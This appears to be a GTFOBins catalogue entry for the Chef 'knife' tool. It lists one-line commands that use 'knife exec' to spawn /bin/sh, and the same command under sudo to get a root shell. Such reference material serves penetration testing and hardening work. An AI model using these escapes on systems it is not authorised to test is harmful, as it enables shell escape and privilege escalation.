GTFOBins.github.io/_gtfobins/knife.md

11 lines
219 B
Markdown
Raw Normal View History

---
description: This is capable of running [`ruby`](/gtfobins/ruby/) code.
functions:
shell:
- code: |
knife exec -E 'exec "/bin/sh"'
sudo:
- code: |
sudo knife exec -E 'exec "/bin/sh"'
---